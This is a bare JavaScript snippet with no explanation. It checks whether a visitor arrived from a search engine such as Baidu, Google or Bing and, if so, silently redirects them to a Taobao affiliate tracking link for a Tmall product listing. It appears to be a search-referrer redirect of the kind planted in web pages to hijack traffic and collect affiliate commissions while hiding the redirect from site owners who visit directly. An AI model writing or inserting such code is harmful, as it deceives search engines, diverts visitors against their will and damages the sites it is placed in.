var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='http://s.click.taobao.com/t_9?p=mm_16474856_0_0&l=http%3A%2F%2Flist.tmall.com%2Fsearch_product.htm%3Farea_code%3D360100%26hotsale%3D0%26search_condition%3D16%26style%3Dg%26sort%3Dd%26n%3D40%26s%3D0%26cat%3D50025962'
}